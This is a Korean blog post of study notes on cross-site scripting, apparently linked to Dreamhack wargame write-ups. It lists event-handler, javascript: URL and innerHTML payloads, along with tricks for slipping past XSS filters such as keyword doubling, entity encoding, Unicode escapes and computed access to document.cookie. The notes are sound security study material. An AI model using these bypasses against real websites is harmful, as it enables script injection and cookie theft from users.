<script> 태그 이외에도 자바스크립트 코드를 실행할 수 있는 HTML 태그가 많이 존재한다.
대표적으로 on으로 시작하는 이벤트 핸들러 속성들이 있다.
1. onload
태그가 요청하는 데이터를 로그한 후에 실행된다.
로드에 실패하면 실행되지 않는다.
<img src="https://dreamhack.io/valid.jpg" onload="alert(document.domain)">
이런 식으로 작성된다.
2. onerror
태그가 요청하는 데이터를 로드하는데 실패할 때 실행된다.
로드에 성공하면 실행되지 않는다.
<img src="about:invalid" onerror="alert(document.domain)">
이렇게 작성된다.
3. onfocus
input 태그에 커서를 클릭하여 포커스가 되면 실행된다.
<input type="text" id="inputID" onfocus="alert(document.domain)" autofocus>
이렇게 실행된다.
<필터링 우회>
XSS 필터링을 할 때 문자열을 치환하는 방식으로 필터링하는 경우에는 키워드를 조작해서
필터링을 우회할 수 있다.
예를 들어, script라는 문자열을 ""로 치환해서 필터링하는 경우, scrscriptipt 이런식으로 작성하면 우회할 수 있다.
이를 막기 위해서 최종적으로 특정 키워드가 존재하지 않을 때까지 지속적으로 필터링하는 방식도 존재한다.
<활성 하이퍼링크>
javascript: 는 url을 로드할 때 자바스크립트 코드를 실행할 수 있게 해준다.
<a href="javascript:alert(document.domain)">Click me!</a>
<iframe src="javascript:alert(document.domain)">
이런 식으로 a, iframe 태그의 속성으로 많이 사용된다.
javacsript: 가 필터링되는 경우, 우회하기 위해 특수문자를 넣는다.
<a href="\1\4jAVasC\triPT:alert(document.domain)">Click me!</a>
HTML Entity Encoding을 사용해 우회할 수도 있다.
<a href="\1JavasCr\tip&tab;:alert(document.domain);">Click me!</a>
<Unicode escape sequence>
"\uAC00"=="가"
이런 식으로 문자열의 유니코드 문자를 코드로 나타내서 표기하는 기법이다.
이를 이용해 필터링 우회를 할 수 있다.
var foo = "\u0063ookie"; // cookie
var bar = "cooki\x65"; // cookie
\u0061lert(document.cookie); // alert(document.cookie)
이런 식으로 사용된다.
<Computed member access>
속성 이름을 동적으로 계산한다.
document["coo"+"kie"] == document["cookie"] == document.cookie
alert(document["\u0063ook" + "ie"]); // alert(document.cookie)
window['al\x65rt'](document["\u0063ook" + "ie"]); // alert(document.cookie)
이런 식으로 우회가 가능하다.
innerHTML을 이용해서 html 코드를 추가시킬 수 있다.
document.body.innerHTML+="<img src=x: onerror=alert(1)>";
'웹해킹' 카테고리의 다른 글
드림핵 XSS Filtering Bypass Advanced 롸업 (0) | 2023.11.21 |
---|---|
드림핵 XSS Filtering Bypass 롸업 (0) | 2023.11.21 |
드림핵 blind-command 롸업 (0) | 2023.11.05 |
드림핵 Carve Party 롸업 (0) | 2023.11.05 |
드림핵 web-ssrf 롸업 (0) | 2023.11.05 |